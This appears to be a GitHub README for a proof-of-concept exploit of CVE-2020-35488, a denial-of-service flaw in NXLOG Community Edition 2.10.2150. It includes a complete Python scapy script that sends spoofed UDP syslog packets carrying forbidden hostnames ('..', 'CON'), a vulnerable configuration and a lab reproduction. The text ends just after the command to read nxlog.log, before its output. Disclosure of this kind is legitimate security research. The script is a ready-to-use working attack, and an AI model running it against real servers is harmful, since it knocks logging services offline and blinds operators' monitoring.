guillaumepetit84/cve-2020-35488Proof-of-concept exploit for CVE-2020-35488, a denial-of-service vulnerability in NXLOG Community Edition via crafted syslog payloads causing directory creation failures.
I have found a vulnerability in product: nxlog-ce_2.10.2150. I have tested my PoC only on Linux (Debian 10) and Windows (Windows Server 2016).
Scope : NXLOG Community Edition 2.10.2150
Bug Type : CWE-502, Deserialization of Untrusted Data https://cwe.mitre.org/data/definitions/502.html
Vulnerable part : Syslog payload
Payload :
MY CVSS COMPUTING :
Attack Vector : Network
Priviles Required : None
Scope : Unchanged
Integrity : None
Attack Complexity : Low
User Interaction : None
Confidentiality : None
Availability : High
CVSS SCORE : 7.5
SEVERITY : HIGH
CVSS COMPUTING FROM NIST : Link : https://nvd.nist.gov/vuln/detail/CVE-2020-35488
Attack Vector :
Priviles Required :
Scope :
Integrity :
Attack Complexity :
User Interaction :
Confidentiality :
Availability :
CVSS SCORE (3.X) : 7.5
SEVERITY : HIGH
This vulnerability can make a DoS of NXLOG server.
But the server needs to be a specific configuration, the nxlog config file must define to create a directory with a field of a part of the Syslog payload.
Syslog field: https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_fields
The software tries to create a directory but the name of this directory can't be created on the file system.
Because of the name of this directory is forbidden.
Here is an example of a directory name impossible to create :
So if the configuration file is defined to create a name directory with Syslog payload, an attacker can switch off the Nxlog service.
To exploit this vulnerability I have created a Python script :
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3
import sys
import time
import argparse
from scapy.all import *
def getPayload(args):
# IF UNIX
if (args.OS == 1):
return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
# IF WINDOWS
elif (args.OS == 2):
return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"
# Test
elif (args.OS == 3):
return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"
def runExploit(args,payload):
priority = 30
message = payload
syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
send(syslog,verbose=args.DEBUG)
def getArguments():
parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
return parser.parse_args()
def main():
args = getArguments()
payload = getPayload(args)
runExploit(args,payload)
main()
Install Nxlog service on Debian 10 :
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support
cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb
dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb
Configuration file of nxlog service :
cat /etc/nxlog/nxlog.conf
########################################
# Global directives #
########################################
User nxlog
Group nxlog
LogFile /var/log/nxlog/nxlog.log
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog_bsd();
</Input>
<Output file>
Module om_file
CreateDir True
File "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
Start the Nxlog service :
systemctl start nxlog
systemctl status nxlog
Return :
● nxlog.service - LSB: logging daemon
Loaded: loaded (/etc/init.d/nxlog; generated)
Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
Docs: man:systemd-sysv-generator(8)
Tasks: 7 (limit: 2330)
Memory: 1.7M
CGroup: /system.slice/nxlog.service
└─1323 /usr/bin/nxlog
nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.
Check :
lsof -i :514
Return :
nxlog 1323 nxlog 18u IPv4 21321 0t0 UDP localhost:syslog
nxlog 1323 nxlog 19u IPv4 21324 0t0 TCP localhost:shell (LISTEN)
Ok great !
With my python script, I can just send a Syslog message to test if the Nxlog service creates a directory.
The name of the directory is based on the HOSTNAME field of the Syslog payload. (See configuration file)
So :
./syslog-exploit.py -ip 192.168.1.55 -os 3
The third option specifies 123soleil hostname in Syslog payload.
So :
ls /var/log/nxlog
123soleil nxlog.log
cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden
Ok, Nxlog server and Syslog client work !
Now if I specify a hostname with a forbidden name :
./syslog-exploit.py -ip 192.168.1.55 -os 1
In Nxlog internal log :
cat /var/log/nxlog/nxlog.log